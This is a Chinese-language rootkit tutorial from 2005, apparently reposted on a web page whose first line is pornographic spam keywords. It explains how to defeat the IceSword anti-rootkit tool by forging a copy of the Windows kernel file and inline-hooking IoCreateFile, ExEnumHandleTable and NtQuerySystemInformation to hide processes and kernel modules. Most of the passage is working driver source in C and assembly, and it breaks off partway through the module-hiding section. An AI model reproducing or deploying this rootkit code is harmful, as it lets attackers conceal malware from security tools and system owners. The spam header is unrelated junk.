黄色网页视频 I 影音先锋日日狠狠久久 I 秋霞午夜毛片 I 秋霞一二三区 I 国产成人片无码视频 I 国产 精品 自在自线 I av免费观看网站 I 日本精品久久久久中文字幕5 I 91看视频 I 看全色黄大色黄女片18 I 精品不卡一区 I 亚洲最新精品 I 欧美 激情 在线 I 人妻少妇精品久久 I 国产99视频精品免费专区 I 欧美影院 I 欧美精品在欧美一区二区少妇 I av大片网站 I 国产精品黄色片 I 888久久 I 狠狠干最新 I 看看黄色一级片 I 黄色精品久久 I 三级av在线 I 69色综合 I 国产日韩欧美91 I 亚洲精品偷拍 I 激情小说亚洲图片 I 久久国产视频精品 I 国产综合精品一区二区三区 I 色婷婷国产 I 最新成人av在线 I 国产私拍精品 I 日韩成人影音 I 日日夜夜天天综合

利用偽造內核文件來繞過IceSword的檢測

系統 1690 0

作者:倪茂志
郵件:backspray008@gmail.com
完成于:2005.12.20


文章分為八個部分:

????????????????一、為什么需要偽造內核
????????????????二、偽造內核文件
????????????????三、隱藏進程
????????????????四、隱藏內核模塊
????????????????五、隱藏服務
????????????????六、隱藏注冊表
????????????????七、隱藏文件
????????????????八、關于端口

另:建議先看看最后那些參考文章。


一、為什么需要偽造內核:

????IceSword(以下簡稱IS)為了防止一些關鍵系統函數(包括所有服務中斷表中的函數以及IS驅動部分要使用到的一些關鍵函數)被 patch,它直接讀取內核文件(以下簡稱“ntoskrnl.exe”),然后自己分析ntoskrnl.exe的PE結構來獲取關鍵系統函數的原始代 碼并且把當前內核中所有的關鍵系統函數還原為windows默認狀態,這樣保證了IS使用到的函數不被patch過。也許你會想如果我們把還原后的函數再 進行patch不還是能躲的過去嗎?筆者也試過,還專門寫了ring0的Timer來不停的patch自己想hook的函數。結果IS棋高一籌,在對所有 的關鍵系統函數進行還原以后,IS每次調用這些函數前都會先把這些函數還原一次。這樣還是能保證IS自己使用到的關鍵系統函數不被patch。也許你還會 想縮小Timer的時間間隔,以致于IS對這些函數進行還原后,這些函數馬上又被我們patch,這樣IS再調用這些函數時不還是執行了我們patch過 的函數。這種想法粗略看起來可以,但你仔細一想就知道是不行的。

????治病還是得治本,也許你想過不如直接修改ntoskrnl.exe文件內容,使得IS一開始讀入的就已經是我們patch過得函數內容,這樣不就躲過去了。這種想法有兩個很大的副作用:

????1、在通常的默認情況下,windows的系統文件保護是打開的,要停止這種系統文件保護要付出很大的代價,有可能需要重啟。

????2、就算你停止了系統文件保護,也成功修改了ntoskrnl.exe,但是你不能保證系統每次都能正常關機
?????? 假如系統非法關機重啟,由于你還來未對ntoskrnl.exe進行還原,此時會發生什么情況我也就不多說了。

????而偽造內核文件就很好的避免了上面談的兩大副作用。主要處理下面三個點:

????1、截獲并修改IS打開ntoskrnl.exe消息,使它指向我要偽造的內核文件(假設為“otoskrnl.exe”)

????2、在內核文件中定位我們要修改的數據。

????3、隱藏我們偽造的“otoskrnl.exe”,這點請看本文的第七部分。



二、????偽造內核文件:

先說一下本文hook函數的方式:

????1、取該函數起始地址的前六個字節內容保留在unsigned char resume[6]中。

????2、把構造的兩條指令push xxxxxxxx(我們自己構造的函數地址) ret 保留到unsigned char crackcode[6](這兩條指令剛好六個字節)中。

????3、把該函數起始址的6個字節替換成crackcode[6]的內容。這樣系統調用該函數時就會先跳到xxxxxxxx地址去執行我們構造的函數。

????而我們構造的xxxxxxxx函數的主要結構如下:

????1、把我們hook的那個函數起始的前6個字節用resume[6]內容進行還原。

????2、對傳遞的程序參數進行處理等。

????3、調用被還原后的函數。

????4、此時可以處理函數返回后的數據等。

????5、把還原后的那個函數的起始地址前6個字節再用crackcode[6]內容進行替換。

????6、返回。


????IS是通過IoCreateFile函數來打開ntoskrnl.exe,因此我們只要hook這個函數,并檢查其打開的文件名,如果是打開 ntoskrnl.exe的話,我們把文件名替換成otoskrnl.exe再扔回去就OK了。這樣所有針對于ntoskrnl.exe文件的操作都會指 向otoskrnl.exe, 當然前提是你在進入驅動前記得先把ntoskrnl.exe在原目錄下復制一份并命名為otoskrnl.exe。

????關于我們要修改的數據在ntoskrnl.exe中偏移的算法也很簡單,這里給出公式如下:

????函數在中文件偏移=當前函數在內存中的地址 - 當前函數所在驅動模塊的起始地址

????舉個例子來說,假設IoCreateFile在內核中的內存地址是0x8056d1234,由于它是在內存中ntoskrnl.exe模塊中,假 設ntoskrnl.exe起始地址是0x8045d000。那么IoCreateFile在磁盤上的ntoskrnl.exe文件中的偏移就是 0x8056d123-0x8045d000=0x110123了。

????再進行詳細點說明:假設你對IoCreateFile函數進行了patch,使得該函數起始地址的6前六節的數據XXXXXX變成了 YYYYYY。那么你只要打開otoskrnl.exe,把文件偏移調整到上面所說的0x110123處,在寫入6個字節的數據YYYYYY。那么當IS 打開otoskrnl.exe的話,讀出的數據就是YYYYYY了!

????下面的代碼實現兩個功能,一個功能就是hook了IoCreateFile函數,使的所有指向ntoskrnl.exe的操作都指向 otoskrnl.exe。另外一個功能就是進行偽造內核(函數RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr)),其中FunctionOffset參數內容就是我們要hook的函數在內存中的地址。RepairDataPtr是指向 字符crackcode[6]第一個字節的指針。主要功能就是先把要hook的函數地址在otoskrnl.exe文件中進行定位,然后再把 crackcode[6]內容寫進去。

#include "ntddk.h"
#include "stdarg.h"
#include "stdio.h"
#include "ntiologc.h"
#include "string.h"

#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long

PCWSTR????NTOSKRNL=L"ntoskrnl.exe"

unsigned char ResumCodeIoCreateFile[6];
unsigned char CrackCodeIoCreateFile[6];

typedef NTSTATUS ( *IOCREATEFILE )(

??OUT PHANDLE????????????????FileHandle,
??IN ACCESS_MASK????????????DesiredAccess,
??IN POBJECT_ATTRIBUTES????????????ObjectAttributes,
??OUT PIO_STATUS_BLOCK????????????IoStatusBlock,
??IN PLARGE_INTEGER????????????AllocationSize OPTIONAL,
??IN ULONG????????????????FileAttributes,
??IN ULONG????????????????ShareAccess,
??IN ULONG????????????????Disposition,
??IN ULONG????????????????CreateOptions,
??IN PVOID????????????????EaBuffer OPTIONAL,
??IN ULONG????????????????EaLength,
??IN CREATE_FILE_TYPE????????????CreateFileType,
??IN PVOID????????????????ExtraCreateParameters OPTIONAL,
??IN ULONG????????????????Options );

IOCREATEFILE????OldIoCreateFile;

DWORD GetFunctionAddr( IN PCWSTR FunctionName)
{
????UNICODE_STRING UniCodeFunctionName;

????????????RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
????????????return (DWORD)MmGetSystemRoutineAddress( &UniCodeFunctionName );????

}

NTSTATUS RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr)
{
????NTSTATUS Status;????
????HANDLE FileHandle;
????OBJECT_ATTRIBUTES FObject;
????IO_STATUS_BLOCK IOSB;
????UNICODE_STRING????FileName;
????LARGE_INTEGER NtosFileOffset;

????????????????RtlInitUnicodeString (
????????????????????????????&FileName,
????????????????????????????L"http://SystemRoot//system32//otoskrnl.exe" );

????????????????InitializeObjectAttributes (
???????????????????????????????? &FObject,
???????????????????????????????? &FileName,
???????????????????????????????? OBJ_KERNEL_HANDLE,
???????????????????????????????? NULL,
???????????????????????????????? NULL);
????????????????Status = ZwCreateFile(
????????????????????????????&FileHandle,
????????????????????????????FILE_WRITE_DATA+FILE_WRITE_ATTRIBUTES+FILE_WRITE_EA,
????????????????????????????&FObject,
????????????????????????????&IOSB,
????????????????????????????NULL,
????????????????????????????FILE_ATTRIBUTE_NORMAL,
????????????????????????????0,
????????????????????????????FILE_OPEN,
????????????????????????????FILE_NON_DIRECTORY_FILE,
????????????????????????????NULL,
????????????????????????????0
???????????????????????????? );
????????????????if ( Status != STATUS_SUCCESS )
????????????????{
????????????????????return Status;
????????????????}

????????????????//下面計算出函數在otoskrnl.exe中的偏移,NtoskrnlBase就是
????????????????//Ntoskrnl.exe在內存中的起始地址,在第四部分隱藏內核模塊
????????????????//時會提到它的獲取方法。

????????????????NtosFileOffset.QuadPart = FunctionOffset - NtoskrnlBase;

????????????????Status = ZwWriteFile(
????????????????????????????FileHandle,
????????????????????????????NULL,
????????????????????????????NULL,
????????????????????????????NULL,
????????????????????????????&IOSB,
????????????????????????????(unsigned char *)RepairDataPtr,
????????????????????????????0x6,
????????????????????????????&NtosFileOffset,
????????????????????????????NULL);
????????????????if ( Status != STATUS_SUCCESS )
????????????????{
????????????????????return Status;
????????????????}
????????????????Status = ZwClose( FileHandle );
????????????????if ( Status != STATUS_SUCCESS )
????????????????{
????????????????????return Status;
????????????????}
????????????????return STATUS_SUCCESS;????

}

NTSTATUS NewIoCreateFile (

??OUT PHANDLE????????????????FileHandle,
??IN ACCESS_MASK????????????DesiredAccess,
??IN POBJECT_ATTRIBUTES????????????ObjectAttributes,
??OUT PIO_STATUS_BLOCK????????????IoStatusBlock,
??IN PLARGE_INTEGER????????????AllocationSize OPTIONAL,
??IN ULONG????????????????FileAttributes,
??IN ULONG????????????????ShareAccess,
??IN ULONG????????????????Disposition,
??IN ULONG????????????????CreateOptions,
??IN PVOID????????????????EaBuffer OPTIONAL,
??IN ULONG????????????????EaLength,
??IN CREATE_FILE_TYPE????????????CreateFileType,
??IN PVOID????????????????ExtraCreateParameters OPTIONAL,
??IN ULONG????????????????Options )

{
????NTSTATUS Status;
????PCWSTR IsNtoskrnl = NULL;
????PCWSTR FileNameaddr=NULL;

????????_asm????//對IoCreateFile函數進行還原
????????{
????????????pushad
????????????mov edi, OldIoCreateFile
????????????mov eax, dword ptr ResumCodeIoCreateFile[0]
????????????mov [edi], eax
????????????mov ax, word ptr ResumCodeIoCreateFile[4]
????????????mov [edi+4], ax
????????????popad
????????}

????????
????????_asm????//獲取要打開的文件名地址
????????{
????????????pushad
????????????mov edi, ObjectAttributes
????????????mov eax, [edi+8]
????????????mov edi, [eax+4]
????????????mov FileNameaddr, edi
????????????popad
????????}

????????IsNtoskrnl = wcsstr( FileNameaddr, NTOSKRNL ); //判斷是否時打開ntoskrnl.exe

????????if ( IsNtoskrnl != NULL )
????????{
????????????_asm????//是的話,則把ntoskrnl.exe替換成otoskrnl.exe
????????????{
????????????????pushad
????????????????mov edi, IsNtoskrnl
????????????????mov [edi], 0x006F
????????????????popad
????????????}
????????}

????????Status = OldIoCreateFile (
????????????
????????????????????????FileHandle,
????????????????????????DesiredAccess,
????????????????????????ObjectAttributes,
????????????????????????IoStatusBlock,
????????????????????????AllocationSize OPTIONAL,
????????????????????????FileAttributes,
????????????????????????ShareAccess,
????????????????????????Disposition,
????????????????????????CreateOptions,
????????????????????????EaBuffer OPTIONAL,
????????????????????????EaLength,
????????????????????????CreateFileType,
????????????????????????ExtraCreateParameters OPTIONAL,
????????????????????????Options );

????????_asm //把還原后的代碼又替換成我們偽造的代碼
????????????{
????????????????pushad
????????????????mov edi, OldIoCreateFile
????????????????mov eax, dword ptr CrackCodeIoCreateFile[0]
????????????????mov [edi], eax
????????????????mov ax, word ptr CrackCodeIoCreateFile[4]
????????????????mov [edi+4], ax
????????????????popad
????????????}????????
????????return Status;

}


NTSTATUS PatchIoCreateFile()
{
????NTSTATUS Status;
????????????
????????????OldIoCreateFile = ( IOCREATEFILE ) GetFunctionAddr(L"IoCreateFile");

????????????if ( OldIoCreateFile == NULL )
????????????{
????????????????DbgPrint("Get IoCreateFile Addr Error!!");
????????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????????}

????????????_asm??//關中斷
?????????? ????{
????????????????CLI????????????????
????????????????MOV????EAX, CR0????
????????????????AND EAX, NOT 10000H??
????????????????MOV????CR0, EAX????????
????????????}
????????????_asm
????????????{
????????????????pushad
????????????????//獲取 IoCreateFile 函數的地址并保留該函數的起始六個字節
????????????????mov edi, OldIoCreateFile
????????????????mov eax, [edi]
????????????????mov dword ptr ResumCodeIoCreateFile[0], eax
????????????????mov ax, [edi+4]
????????????????mov word??ptr ResumCodeIoCreateFile[4], ax
????????????????
????????????????//構造要替換的代碼,使得系統調用函數時跳到我們構造的NewIoCreateFile去執行
????????????????mov byte ptr CrackCodeIoCreateFile[0], 0x68
????????????????lea edi, NewIoCreateFile
????????????????mov dword ptr CrackCodeIoCreateFile[1], edi
????????????????mov byte ptr CrackCodeIoCreateFile[5], 0xC3

????????????????//把構造好的代碼進心替換
????????????????mov edi, OldIoCreateFile
????????????????mov eax, dword ptr CrackCodeIoCreateFile[0]
????????????????mov dword ptr[edi], eax
????????????????mov ax, word ptr CrackCodeIoCreateFile[4]
????????????????mov word ptr[edi+4], ax
????????????????popad
????????????}

????????????_asm //開中斷
????????????{
????????????????MOV????EAX, CR0??????
????????????????OR????EAX, 10000H????????????
????????????????MOV????CR0, EAX??????????????
????????????????STI????????????????????
????????????}

????????????Status = RepairNtosFile(
????????????????????????????(DWORD)OldIoCreateFile,
????????????????????????????(DWORD)(&CrackCodeIoCreateFile));

????????????return Status;

}

????上面給出的代碼中,有些是公共使用的部分,如:GetFunctionAddr()(用來獲取函數地址)以及RepairNtosFile() (功能上文已經介紹)函數。為節省版面,在下面的代碼中將直接對其進行引用,而不再貼出它們的代碼。下面的代碼將不會再include頭文件。而是直接定 義自己所使用到的變量。其中include的投文件與上面的代碼相同,另外本文中所有的例子都沒有給出Unloaded例程(浪費版面),自己看著寫了另 外,本文貼出的所有代碼,除了第六部分代碼只在XP下測試通過,其他代碼均再2K及XP下測試并通過。筆者在寫這些代碼時雖然兼顧到了2K3,但是筆者并 沒有在2K3中測試過這些代碼。這些代碼中夾雜了一些匯編指令。這些匯編指令產生主要有兩種原因:一是當時的我認為某些東西用匯編指令來表示非常直觀,如 還原與替換函數代碼那個部分。二是在分析一些數據時,由于眼前面對的是純16進制的數據,于是也沒多想咔咔就用匯編寫了一個循環下來。如果給你閱讀代碼造 成了不便,筆者在這表示歉意。


三、????隱藏進程

????對付IS枚舉進程ID的思路是這樣的,hook系統函數ExEnumHandleTable,使它先運行我們指定的函數 NewExEnumHandleTable,在NewExEnumHandleTable函數中,我們先獲取它的回調函數參數Callback所指向的函 數地址,把它所指向的函數地址先放到OldCallback中,然后用我們構造的新的回調函數FilterCallback去替換掉原來的 Callback。這樣該函數在執行回調函數時就會先調用我們給它的FilterCallback回調函數。在我們設計的FilterCallback 中,判斷當前進程ID是否時我們要隱藏的進程ID,不是的話則把參數傳給OldCallback去執行,如果是的話則直接return。這樣就起到隱藏進 程的作用。

????以上是對付IS的,對于應付windows進程管理的方法,與sinister使用的方法大體相同,不過有些不同。sinister是通過比較進 程名來確定自己要隱藏的進程。這種方法對于隱藏要啟動兩個和兩個以上相同名字的進程比較可取,但問題是如果你只是要隱藏一個進程的話。那么這個方法就顯得 不完美了。完全可以通過直接比較進程ID來確定自己要隱藏的進程。建議不到不得以的時候盡量不要使用比較文件名的方法,太影響效率。

????下面的代碼中,GetProcessID()函數是用來從注冊表中讀取要隱藏的進程ID,當然首先你要在注冊表設置這個值。用注冊表還是很方便的。

????PatchExEnumHandleTable()函數是通過hook系統函數ExEnumHandleTable函數實現在IS中隱藏目標進 程,PatchNtQuerySystemInformation ()函數是通過hook系統函數NtQuerySystemInformation并通過比較進程ID的方法實現隱藏進程。


HANDLE ProtectID;
unsigned char ResumCodeExEnumHandleTable[6];
unsigned char CrackCodeExEnumHandleTable[6];
unsigned char ResumCodeNtQuerySystemInformation[6];
unsigned char CrackCodeNtQuerySystemInformation[6];

typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)(

??IN ULONG????????????????????????SystemInformationClass,
??OUT PVOID????????????????????????SystemInformation,
??IN ULONG????????????????????????SystemInformationLength,
??OUT PULONG????????????????????????ReturnLength OPTIONAL??);

NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation;

typedef VOID (*EXENUMHANDLETABLE)??
(??
????PULONG????????HandleTable,??
????PVOID????????Callback,??
????PVOID????????Param,??
????PHANDLE????????Handle??OPTIONAL
);

EXENUMHANDLETABLE????OldExEnumHandleTable;

typedef BOOL (*EXENUMHANDLETABLECALLBACK)
(
????DWORD?? HANDLE_TALBE_ENTRY,
????DWORD????PID,
????PVOID????Param
);

EXENUMHANDLETABLECALLBACK????OldCallback;

NTSTATUS GetProcessID (
????????????IN PUNICODE_STRING theRegistryPath
????????????)
{
????OBJECT_ATTRIBUTES ObjectAttributes;
????NTSTATUS Status;

????HANDLE KeyHandle;
????PHANDLE Phandle;
????PKEY_VALUE_PARTIAL_INFORMATION valueInfoP;
????ULONG valueInfoLength,returnLength;

????UNICODE_STRING UnicodeProcIDreg;


????????????InitializeObjectAttributes (
????????????????????????????&ObjectAttributes,
????????????????????????????theRegistryPath,
????????????????????????????OBJ_CASE_INSENSITIVE,
????????????????????????????NULL,
????????????????????????????NULL );

????????????Status = ZwOpenKey (
????????????????????????&KeyHandle,
????????????????????????KEY_ALL_ACCESS,
????????????????????????&ObjectAttributes );

????????????if (Status != STATUS_SUCCESS)
????????????{
????????????????DbgPrint("ZwOpenKey Wrong/n");
????????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????????}

????????????RtlInitUnicodeString (
????????????????????????&UnicodeProcIDreg,
????????????????????????L"ProcessID" );

????????????valueInfoLength = sizeof(KEY_VALUE_PARTIAL_INFORMATION);

????????????valueInfoP = (PKEY_VALUE_PARTIAL_INFORMATION) ExAllocatePool (
????????????????????????????????????????????NonPagedPool,
????????????????????????????????????????????valueInfoLength );
????????????Status = ZwQueryValueKey (
????????????????????????????KeyHandle,
????????????????????????????&UnicodeProcIDreg,
????????????????????????????KeyValuePartialInformation,
????????????????????????????valueInfoP,
????????????????????????????valueInfoLength,
????????????????????????????&returnLength );

????????????if (Status != STATUS_SUCCESS)
????????????{
????????????????DbgPrint("ZwOpenKey Wrong/n");
????????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????????}

????????????Phandle = (PHANDLE)(valueInfoP->Data);

????????????ProtectID = *Phandle;

????????????ZwClose(KeyHandle);

????????????return STATUS_SUCCESS;

}

BOOL FilterCallback (
????????????DWORD?? HANDLE_TALBE_ENTRY,
????????????DWORD????PID,
????????????PVOID????Param )
{

????????if ( PID != (DWORD)ProtectID)????//判斷是否是我們要隱藏的進程
????????{
????????????return OldCallback (
????????????????????????HANDLE_TALBE_ENTRY,
????????????????????????PID,
????????????????????????Param );
????????}
????????else
????????{
????????????return FALSE; //是的話直接返回
????????}
}

BOOL FilterCallback (
????????????DWORD?? HANDLE_TALBE_ENTRY,
????????????DWORD????PID,
????????????PVOID????Param )
{

????????if ( PID != (DWORD)ProtectID)????//判斷是否是我們要隱藏的進程
????????{
????????????return OldCallback (
????????????????????????HANDLE_TALBE_ENTRY,
????????????????????????PID,
????????????????????????Param );
????????}
????????else
????????{
????????????return FALSE; //是的話直接返回
????????}
}



VOID NewExEnumHandleTable(
????????????????PULONG????????HandleTable,??
????????????????PVOID????????Callback,??
????????????????PVOID????????Param,??
????????????????PHANDLE????????Handle??OPTIONAL )????
{

????????OldCallback = Callback; //把Callback參數給OldCallback進行保留

????????Callback = FilterCallback; //用FilterCallback替換調原來的Callback

????????_asm??//還原
????????{
????????????pushad
????????????mov edi, OldExEnumHandleTable
????????????mov eax, dword ptr ResumCodeExEnumHandleTable[0]
????????????mov [edi], eax
????????????mov ax, word ptr ResumCodeExEnumHandleTable[4]
????????????mov [edi+4], ax
????????????popad
????????}

????????????OldExEnumHandleTable (
????????????????????????HandleTable,??
????????????????????????Callback,??
????????????????????????Param,??
????????????????????????Handle??OPTIONAL );
????????_asm //替換
????????{
????????????pushad
????????????mov edi, OldExEnumHandleTable
????????????mov eax, dword ptr CrackCodeExEnumHandleTable[0]
????????????mov [edi], eax
????????????mov ax, word ptr CrackCodeExEnumHandleTable[4]
????????????mov [edi+4], ax
????????????popad
????????}
????????return ;
}

NTSTATUS PatchExEnumHandleTable()
{
????NTSTATUS Status;

???????????? OldExEnumHandleTable = (EXENUMHANDLETABLE) GetFunctionAddr(L"ExEnumHandleTable");

???????????? if ( OldExEnumHandleTable == NULL )
???????????? {
???????????????? DbgPrint("Get ExEnumHandleTable Addr Error!!");
???????????????? return STATUS_DEVICE_CONFIGURATION_ERROR;
???????????? }

???????????? _asm????//關中斷
?????????? ????{
????????????????CLI????????????????????
????????????????MOV????EAX, CR0??
????????????????AND EAX, NOT 10000H
????????????????MOV????CR0, EAX??
????????????}
???????????? _asm
????????????{
????????????????pushad
????????????????//獲取ExEnumHandleTable函數的地址并保留該函數的起始六個字節
????????????????mov edi, OldExEnumHandleTable
????????????????mov eax, [edi]
????????????????mov dword ptr ResumCodeExEnumHandleTable[0], eax
????????????????mov ax, [edi+4]
????????????????mov word??ptr ResumCodeExEnumHandleTable[4], ax
????????????????
????????????????//構造要替換的代碼,使得系統調用該函數時跳到我們構造的NewExEnumHandleTable去執行
????????????????mov byte ptr CrackCodeExEnumHandleTable[0], 0x68
????????????????lea edi, NewExEnumHandleTable
????????????????mov dword ptr CrackCodeExEnumHandleTable[1], edi
????????????????mov byte ptr CrackCodeExEnumHandleTable[5], 0xC3

????????????????//把構造好的代碼進心替換
????????????????mov edi, OldExEnumHandleTable
????????????????mov eax, dword ptr CrackCodeExEnumHandleTable[0]
????????????????mov dword ptr[edi], eax
????????????????mov ax, word ptr CrackCodeExEnumHandleTable[4]
????????????????mov word ptr[edi+4], ax
????????????????popad
????????????}

???????????? _asm //開中斷
????????????{
????????????????MOV????EAX, CR0????????
????????????????OR????EAX, 10000H??
????????????????MOV????CR0, EAX??????????
????????????????STI??????????
????????????}
????????????
????????????Status = RepairNtosFile(
????????????????????????(DWORD)OldExEnumHandleTable,
????????????????????????(DWORD)(&CrackCodeExEnumHandleTable) );

????????????return Status;
}

NTSTATUS NewNtQuerySystemInformation(

??IN ULONG????????SystemInformationClass,
??OUT PVOID????????SystemInformation,
??IN ULONG????????SystemInformationLength,
??OUT PULONG????????ReturnLength OPTIONAL )
{
????NTSTATUS Status;
????DWORD???? Bprocess;

????????_asm??
????????{
????????????pushad
????????????mov edi, OldNtQuerySystemInformation
????????????mov eax, dword ptr ResumCodeNtQuerySystemInformation[0]
????????????mov [edi], eax
????????????mov ax, word ptr ResumCodeNtQuerySystemInformation[4]
????????????mov [edi+4], ax
????????????popad
????????}

????????Status=OldNtQuerySystemInformation (
????????????????????????????SystemInformationClass,
????????????????????????????SystemInformation,
????????????????????????????SystemInformationLength,
????????????????????????????ReturnLength OPTIONAL );
????????_asm
????????{
????????????pushad
????????????mov edi, OldNtQuerySystemInformation
????????????mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
????????????mov [edi], eax
????????????mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
????????????mov [edi+4], ax
????????????popad
????????}

????????if ( Status != STATUS_SUCCESS || SystemInformationClass!=5 )
????????{
????????????return Status;
????????}

????????_asm
????????{
????????????pushad

????????????mov ecx, ProtectID
????????????mov edi, SystemInformation

ProcessListNEnd:
????????????mov Bprocess, edi
????????????mov eax, [edi]
????????????test eax, eax
????????????jz ProcessListEnd
????????????add edi, eax

????????????mov eax, [edi+0x44]
????????????cmp eax, ecx
????????????jz FindOut
????????????jmp ProcessListNEnd
FindOut:
????????????mov ebx, [edi]
????????????test ebx, ebx
????????????jz listend
????????????mov eax, Bprocess
????????????mov edx, [eax]
????????????add ebx, edx
????????????mov [eax], ebx
????????????jmp hideOK

listend:
????????????mov eax,????Bprocess
????????????mov [eax],??0
hideOK:????
????????????
ProcessListEnd:

????????????popad
????????}
????????return Status;
}




NTSTATUS PatchNtQuerySystemInformation ()
{
????NTSTATUS Status;
????????????
????????????OldNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION) GetFunctionAddr(L"NtQuerySystemInformation");

????????????if ( OldNtQuerySystemInformation == NULL )
????????????{
????????????????DbgPrint("Get NtQuerySystemInformation Addr Error!!");
????????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????????}

????????????_asm????//關中斷
?????????? ????{
????????????????CLI????????
????????????????MOV????EAX, CR0????????
????????????????AND EAX, NOT 10000H
????????????????MOV????CR0, EAX????????
????????????}
????????????_asm
????????????{
????????????????pushad
????????????????//獲取 NtQuerySystemInformation 函數的地址并保留該函數的起始六個字節
????????????????mov edi, OldNtQuerySystemInformation
????????????????mov eax, [edi]
????????????????mov dword ptr ResumCodeNtQuerySystemInformation[0], eax
????????????????mov ax, [edi+4]
????????????????mov word??ptr ResumCodeNtQuerySystemInformation[4], ax
????????????????
????????????????//構造要替換的代碼,使得系統調用該函數時跳到我們構造的NewNtQuerySystemInformation去執行
????????????????mov byte ptr CrackCodeNtQuerySystemInformation[0], 0x68
????????????????lea edi, NewNtQuerySystemInformation
????????????????mov dword ptr CrackCodeNtQuerySystemInformation[1], edi
????????????????mov byte ptr CrackCodeNtQuerySystemInformation[5], 0xC3

????????????????//把構造好的代碼進心替換
????????????????mov edi, OldNtQuerySystemInformation
????????????????mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
????????????????mov dword ptr[edi], eax
????????????????mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
????????????????mov word ptr[edi+4], ax
????????????????popad
????????????}
????????????_asm //開中斷
????????????{
????????????????MOV????EAX, CR0??????
????????????????OR????EAX, 10000H??????????
????????????????MOV????CR0, EAX??????????????
????????????????STI????????????????????
????????????}
????????????Status = RepairNtosFile(
????????????????????????????(DWORD)OldNtQuerySystemInformation,
????????????????????????????(DWORD)(&CrackCodeNtQuerySystemInformation) );

????????????return Status;

}


四、隱藏內核模塊

????對于內核模塊,我原以為IS會通過獲取內核變量PsLoadedModuleList,然后在通過這個來遍歷所有的內核模塊。假設此時獲得結果 1。通過調用函數NtQuerySystemInformation,參數SystemModuleInformation,假設此時獲得結果2。再把結 果1與結果2進行比較,這樣就會發現被隱藏的模塊。但事實證明我想的太復雜了。而IS只進行了獲取結果2的過程。而沒有去執行獲取結果1的過程。

????下面的代碼可以在IS下隱藏自己的內核模塊,主要思路是,首先獲取一個自己這個模塊中任意函數的地址,把該地址給DriverAddr,利用 DriverAddr在上述的結果2中定位,通過DriverAddr肯定會大于自己這個模塊的起始地址并且小于自己這個模塊的結束地址來定位。

DWORD DriverAddr;
unsigned char ResumCodeNtQuerySystemInformation[6];
unsigned char CrackCodeNtQuerySystemInformation[6];
typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)(

??IN ULONG????????SystemInformationClass,
??OUT PVOID????????SystemInformation,
??IN ULONG????????SystemInformationLength,
??OUT PULONG????????ReturnLength OPTIONAL??);

NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation;

NTSTATUS NewNtQuerySystemInformation(

??IN ULONG????????SystemInformationClass,
??OUT PVOID????????SystemInformation,
??IN ULONG????????SystemInformationLength,
??OUT PULONG????????ReturnLength OPTIONAL )
{
????NTSTATUS Status;

????????_asm??//還原
????????{
????????????pushad
????????????mov edi, OldNtQuerySystemInformation
????????????mov eax, dword ptr ResumCodeNtQuerySystemInformation[0]
????????????mov [edi], eax
????????????mov ax, word ptr ResumCodeNtQuerySystemInformation[4]
????????????mov [edi+4], ax
????????????popad
????????}
????????
????????Status = ZwQuerySystemInformation (
????????????????????????????SystemInformationClass,
????????????????????????????SystemInformation,
????????????????????????????SystemInformationLength,
????????????????????????????ReturnLength OPTIONAL );
????????_asm //替換
????????{
????????????pushad
????????????mov edi, OldNtQuerySystemInformation
????????????mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
????????????mov [edi], eax
????????????mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
????????????mov [edi+4], ax
????????????popad
????????}

????????if ( Status != STATUS_SUCCESS || SystemInformationClass!=0xb )??//是否是獲取模塊信息
????????{
????????????return Status;??
????????}

????????_asm
????????{
????????????pushad

????????????mov edi, SystemInformation
????????????mov ecx, [edi]????????????//eax=模塊數目
????????????add edi, 0x4

NextModuleInfo:

????????????mov eax, [edi+0x8]????
????????????mov edx, [edi+0xC]??
????????????
????????????add edx, eax????
????????????mov ebx, DriverAddr

????????????cmp ebx, eax
????????????ja????FirstMatch
????????????dec ecx
????????????test ecx, ecx
????????????jz??ArrayEnd

????????????add edi, 0x11c
????????????jmp NextModuleInfo

FirstMatch:
????????????cmp ebx, edx
????????????jb SecMatch????//找到的話則跳去把該模塊以后的模塊數據前移已覆蓋掉此模塊

????????????dec ecx
????????????test ecx, ecx
????????????jz??ArrayEnd
????????????add edi, 0x11c
????????????jmp NextModuleInfo
SecMatch:
????????????dec ecx
????????????xor eax, eax
????????????mov ax, 0x11c
????????????mul cx
????????????xor ecx, ecx
????????????mov ecx, eax
????????????mov esi, edi
????????????add esi, 0x11c
????????????rep movsb
????????????mov edi, SystemInformation
????????????mov eax, [edi]
????????????dec eax
????????????mov [edi], eax????????????//完成
ArrayEnd:
????????????popad
????????}
????????return Status;
}

NTSTATUS PatchNtQuerySystemInformation()
{
????NTSTATUS Status;
????????????
????????????OldNtQuerySystemInformation=(NTQUERYSYSTEMINFORMATION)( GetFunctionAddr(L"NtQuerySystemInformation") );

????????????if ( OldNtQuerySystemInformation == NULL )
????????????{
????????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????????}

????????????_asm????//關中斷
????????????{
????????????????CLI??????????????????
????????????????MOV????EAX, CR0??????
????????????????AND EAX, NOT 10000H
????????????????MOV????CR0, EAX??????
????????????}

????????????_asm
????????????{
????????????????pushad
????????????????//獲取 NtQuerySystemInformation 函數的地址并保留該函數的起始六個字節

????????????????lea eax, NewNtQuerySystemInformation????
????????????????mov DriverAddr, eax //把NewNtQuerySystemInformation函數地址給DriverAddr

????????????????mov edi, OldNtQuerySystemInformation
????????????????mov eax, [edi]
????????????????mov dword ptr ResumCodeNtQuerySystemInformation[0], eax
????????????????mov ax, [edi+4]
????????????????mov word??ptr ResumCodeNtQuerySystemInformation[4], ax
????????????????
